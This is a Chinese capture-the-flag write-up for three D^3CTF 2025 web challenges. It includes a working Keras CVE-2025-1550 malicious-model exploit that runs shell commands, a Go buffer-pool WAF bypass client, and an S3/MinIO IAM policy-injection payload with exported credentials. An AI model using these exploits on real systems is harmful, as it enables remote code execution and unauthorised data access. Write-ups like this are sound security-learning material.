D^3CTF 2025 Web wp

d3model

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import keras
from flask import Flask, request, jsonify
import os


def is_valid_model(modelname):
try:
keras.models.load_model(modelname)
except:
return False
return True

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
return open('index.html').read()


@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return jsonify({'error': 'No file part'}), 400

file = request.files['file']

if file.filename == '':
return jsonify({'error': 'No selected file'}), 400

MAX_FILE_SIZE = 50 * 1024 * 1024 # 50MB
file.seek(0, os.SEEK_END)
file_size = file.tell()
file.seek(0)

if file_size > MAX_FILE_SIZE:
return jsonify({'error': 'File size exceeds 50MB limit'}), 400

filepath = os.path.join('./', 'test.keras')
if os.path.exists(filepath):
os.remove(filepath)
file.save(filepath)

if is_valid_model(filepath):
return jsonify({'message': 'Model is valid'}), 200
else:
return jsonify({'error': 'Invalid model file'}), 400

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

requirements告诉我们keras==3.8.0,查了一下发现存在CVE漏洞。

cve-2025-1550,可以参考如下文章复现:

https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models

这里直接给出exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import zipfile
import json
from keras.models import Sequential
from keras.layers import Dense
import numpy as np
import os

model_name = "model.keras"

x_train = np.random.rand(100, 28 * 28)
y_train = np.random.rand(100)

model = Sequential([Dense(1, activation='linear', input_dim=28 * 28)])

model.compile(optimizer='adam', loss='mse')
model.fit(x_train, y_train, epochs=5)
model.save(model_name)

with zipfile.ZipFile(model_name, "r") as f:
config = json.loads(f.read("config.json").decode())

config["config"]["layers"][0]["module"] = "keras.models"
config["config"]["layers"][0]["class_name"] = "Model"
config["config"]["layers"][0]["config"] = {
"name": "mvlttt",
"layers": [
{
"name": "mvlttt",
"class_name": "function",
"config": "Popen",
"module": "subprocess",
"inbound_nodes": [{"args": [["bash", "-c", "env > index.html"]], "kwargs": {"bufsize": -1}}]
}],
"input_layers": [["mvlttt", 0, 0]],
"output_layers": [["mvlttt", 0, 0]]
}

with zipfile.ZipFile(model_name, 'r') as zip_read:
with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:
for item in zip_read.infolist():
if item.filename != "config.json":
zip_write.writestr(item, zip_read.read(item.filename))

os.remove(model_name)
os.rename(f"tmp.{model_name}", model_name)

with zipfile.ZipFile(model_name, "a") as zf:
zf.writestr("config.json", json.dumps(config))

print("[+] Malicious model ready")

这里不出网,我们写文件就行。直接写到index.html后刷新一下即可。

tidy quic

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
package main

import (
"bytes"
"errors"
"github.com/libp2p/go-buffer-pool"
"github.com/quic-go/quic-go/http3"
"io"
"log"
"net/http"
"os"
)

var p pool.BufferPool
var ErrWAF = errors.New("WAF")

func main() {
go func() {
err := http.ListenAndServeTLS(":8080", "./server.crt", "./server.key", &mux{})
log.Fatalln(err)
}()
go func() {
err := http3.ListenAndServeQUIC(":8080", "./server.crt", "./server.key", &mux{})
log.Fatalln(err)
}()
select {}
}

type mux struct {
}

func (*mux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodGet {
_, _ = w.Write([]byte("Hello D^3CTF 2025,I'm tidy quic in web."))
return
}
if r.Method != http.MethodPost {
w.WriteHeader(400)
return
}

var buf []byte
length := int(r.ContentLength)
if length == -1 {
var err error
buf, err = io.ReadAll(textInterrupterWrap(r.Body))
if err != nil {
if errors.Is(err, ErrWAF) {
w.WriteHeader(400)
_, _ = w.Write([]byte("WAF"))
} else {
w.WriteHeader(500)
_, _ = w.Write([]byte("error"))
}
return
}
} else {
buf = p.Get(length)
defer p.Put(buf)
rd := textInterrupterWrap(r.Body)
i := 0
for {
n, err := rd.Read(buf[i:])
if err != nil {
if errors.Is(err, io.EOF) {
break
} else if errors.Is(err, ErrWAF) {
w.WriteHeader(400)
_, _ = w.Write([]byte("WAF"))
return
} else {
w.WriteHeader(500)
_, _ = w.Write([]byte("error"))
return
}
}
i += n
}
}
if !bytes.HasPrefix(buf, []byte("I want")) {
_, _ = w.Write([]byte("Sorry I'm not clear what you want."))
return
}
item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte("I want")))
if bytes.Equal(item, []byte("flag")) {
_, _ = w.Write([]byte(os.Getenv("FLAG")))
} else {
_, _ = w.Write(item)
}
}

type wrap struct {
io.ReadCloser
ban []byte
idx int
}

func (w *wrap) Read(p []byte) (int, error) {
n, err := w.ReadCloser.Read(p)
if err != nil && !errors.Is(err, io.EOF) {
return n, err
}
for i := 0; i < n; i++ {
if p[i] == w.ban[w.idx] {
w.idx++
if w.idx == len(w.ban) {
return n, ErrWAF
}
} else {
w.idx = 0
}
}
return n, err
}

func textInterrupterWrap(rc io.ReadCloser) io.ReadCloser {
return &wrap{
rc, []byte("flag"), 0,
}
}

这里主要的思考点在于I want后怎么加上flag,有WAF存在。

这里注意到BufferPool的存在,存在BufferPool的内存复用。

先是利用发送123456flag,再发送I want,由于BufferPool没有清空,使I want覆盖掉之前的123456,从而构造出I wantflag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
package main

import (
"bytes"
"crypto/tls"
"fmt"
"io"
"log"
"net/http"
"sync"
"time"

quic "github.com/quic-go/quic-go" // 明确导入quic包
"github.com/quic-go/quic-go/http3"
)

const (
targetURL = "https://35.220.136.70:31779"
polluteData = "111111flag" // 污染数据
realPayload = "I want" // 有效载荷
)

func main() {
// 创建优化的HTTP/3客户端
client := &http.Client{
Transport: &http3.RoundTripper{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
NextProtos: []string{"h3"}, // 必须指定ALPN
},
QUICConfig: &quic.Config{ // 修正字段名为大写QUICConfig
MaxIncomingStreams: 1000, // 提高并发能力
},
},
Timeout: 15 * time.Second,
}
defer client.CloseIdleConnections()

var wg sync.WaitGroup

// 阶段1:增强型缓冲池污染
fmt.Println("[*] 启动HTTP/3缓冲池污染攻击...")
start := time.Now()
for i := 0; i < 200; i++ { // 高频并发污染
wg.Add(1)
go func() {
defer wg.Done()
req, _ := http.NewRequest("POST", targetURL, bytes.NewBufferString(polluteData))
client.Do(req)
}()
}
wg.Wait()

// 阶段2:精确内存布局触发
fmt.Printf("[*] 污染完成 (耗时: %v)\n[*] 触发组合攻击...\n", time.Since(start))
time.Sleep(800 * time.Millisecond) // 关键时间窗口

// 使用Content-Length技巧
body := io.NopCloser(bytes.NewReader([]byte(realPayload)))
req, _ := http.NewRequest("POST", targetURL, body)
req.ContentLength = 10 // 故意设置大于实际长度

resp, err := client.Do(req)
if err != nil {
log.Fatalf("请求失败: %v", err)
}
defer resp.Body.Close()

// 结果分析
response, _ := io.ReadAll(resp.Body)
if bytes.Contains(response, []byte("FLAG")) {
fmt.Printf("[+] 攻击成功! 状态码: %d\nFLAG: %s\n",
resp.StatusCode, extractFlag(response))
} else {
fmt.Printf("[-] 攻击失败 状态码: %d\n响应: %s\n",
resp.StatusCode, truncate(string(response)))
}
}

func extractFlag(data []byte) string {
flagStart := bytes.Index(data, []byte("FLAG{"))
if flagStart == -1 {
return ""
}
return string(data[flagStart : bytes.IndexByte(data[flagStart:], '}')+1])
}

func truncate(s string) string {
if len(s) > 100 {
return s[:100] + "..."
}
return s
}

image-20250531154847317

1
d3ctf{YOu-sAld_RlGhT-BUt-y0u-sH0Uld_p1Ay-G3nsH1n_imPact2}

d3invitation

功能是输入id与上传照片创建邀请函

image-20250603002320440

先看看前端js源码,tools.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
function generateInvitation(user_id, avatarFile) {
if (avatarFile) {
object_name = avatarFile.name;
genSTSCreds(object_name)
.then(credsData => {
return putAvatar(
credsData.access_key_id,
credsData.secret_access_key,
credsData.session_token,
object_name,
avatarFile
).then(() => {
navigateToInvitation(
user_id,
credsData.access_key_id,
credsData.secret_access_key,
credsData.session_token,
object_name
)
})
})
.catch(error => {
console.error('Error generating STS credentials or uploading avatar:', error);
});
} else {
navigateToInvitation(user_id);
}
}


function navigateToInvitation(user_id, access_key_id, secret_access_key, session_token, object_name) {
let url = `invitation?user_id=${encodeURIComponent(user_id)}`;

if (access_key_id) {
url += `&access_key_id=${encodeURIComponent(access_key_id)}`;
}

if (secret_access_key) {
url += `&secret_access_key=${encodeURIComponent(secret_access_key)}`;
}

if (session_token) {
url += `&session_token=${encodeURIComponent(session_token)}`;
}

if (object_name) {
url += `&object_name=${encodeURIComponent(object_name)}`;
}

window.location.href = url;
}


function genSTSCreds(object_name) {
return new Promise((resolve, reject) => {
const genSTSJson = {
"object_name": object_name
}

fetch('/api/genSTSCreds', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(genSTSJson)
})
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok');
}
return response.json();
})
.then(data => {
resolve(data);
})
.catch(error => {
reject(error);
});
});
}

function getAvatarUrl(access_key_id, secret_access_key, session_token, object_name) {
return `/api/getObject?access_key_id=${encodeURIComponent(access_key_id)}&secret_access_key=${encodeURIComponent(secret_access_key)}&session_token=${encodeURIComponent(session_token)}&object_name=${encodeURIComponent(object_name)}`
}

function putAvatar(access_key_id, secret_access_key, session_token, object_name, avatar) {
return new Promise((resolve, reject) => {
const formData = new FormData();
formData.append('access_key_id', access_key_id);
formData.append('secret_access_key', secret_access_key);
formData.append('session_token', session_token);
formData.append('object_name', object_name);
formData.append('avatar', avatar);

fetch('/api/putObject', {
method: 'POST',
body: formData
})
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok');
}
return response.json();
})
.then(data => {
resolve(data);
})
.catch(error => {
reject(error);
});
});
}

发现存在三个接口/api/genSTSCreds/api/getObject/api/putObject,第一眼感觉像是云安全,给了ak、sk,是AWS S3云存储桶

代码中的 genSTSCredsputAvatar 函数使用了 access_key_idsecret_access_keysession_token,这符合AWS STS(Security Token Service)的临时凭证机制,通常用于AWS S3存储桶的访问控制

image-20250603002840056

获取了一大串session_token,是jwt,直接解码看看。

image-20250603003835081

image-20250603003956632

发现有输入的部分内容存在,猜测可以进行RAM策略注入

https://forum.butian.net/share/4340

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:GetObject","s3:PutObject"],"Resource":["arn:aws:s3:::d3invitation/test.txt"]}]}

{
"Version": "2012-10-17", // 策略语法版本(固定值)
"Statement": [ // 权限声明列表
{
"Effect": "Allow", // 允许操作(Deny表示拒绝)
"Action": [ // 允许的具体操作
"s3:GetObject", // 允许下载对象
"s3:PutObject" // 允许上传对象
],
"Resource": [ // 作用的目标资源
"arn:aws:s3:::d3invitation/test.txt" // 资源ARN(Amazon Resource Name)
]
}
]
}

发现是IAM 策略,一种通过Json控制的,比ACL更加精确的权限控制

先举个例子:

1
2
3
4
5
6
当我们输入:

aaa"]},{"effect": "allow","action":[""],"resource":["qcs::cos:","qcs::cvm:*
RAM策略就是

{"version":"2.0","statement":[{"effect":"allow","action":["name/cos:PutObject","name/cos:PostObject","name/cos:DeleteObject","name/cos:InitiateMultipartUpload","name/cos:UploadPart","name/cos:CompleteMultipartUpload","name/cos:AbortMultipartUpload"],"resource":["qcs::cos:ap-guangzhou:uid/1304445672:prefix//1304445672/teach/1000001/aaaa/upload/aaa"]},{"effect": "allow","action":[""],"resource":["qcs::cos:","qcs::cvm:*"]}]}

因此,接下来我们构造一下object_name

1
{"object_name":"*\"]},{\"Effect\": \"Allow\",\"Action\":[\"s3:*\"],\"Resource\":[\"arn:aws:s3:::*"}

image-20250603023107075

由于题目环境是一个基于Apache License v2.0开源协议的对象存储服务,用mc这个工具https://github.com/minio/mc

image-20250603023043117

1
export MC_HOST_d3invitation="http://7VJGQUHVNUIAA2M2AT1B:XRgS6+RMFpG2gvjaySCt12owIztkc5kNo4O3tHUN:eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiI3VkpHUVVIVk5VSUFBMk0yQVQxQiIsImV4cCI6MTc0ODg5MjUwOSwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZVSFYwVDJKcVpXTjBJaXdpY3pNNlIyVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2lvaVhTd2lVbVZ6YjNWeVkyVWlPbHNpWVhKdU9tRjNjenB6TXpvNk9pb2lYWDFkZlE9PSJ9.6d7BfnPorhh7dL79V5HCs0Cw8SP2yJwXKw9sEz_JX8z80xZDqTKVJvECkZJVxcQEEHU6vIqhH2YdLmNCrPe9pA@35.241.98.126:30121"

拿捏了已经。

image-20250603023152342

1
d3ctf{l-tHINK_w3_H@vE-3NCOUnT3R3D_pO11cy_1nJ3CT10n?l33}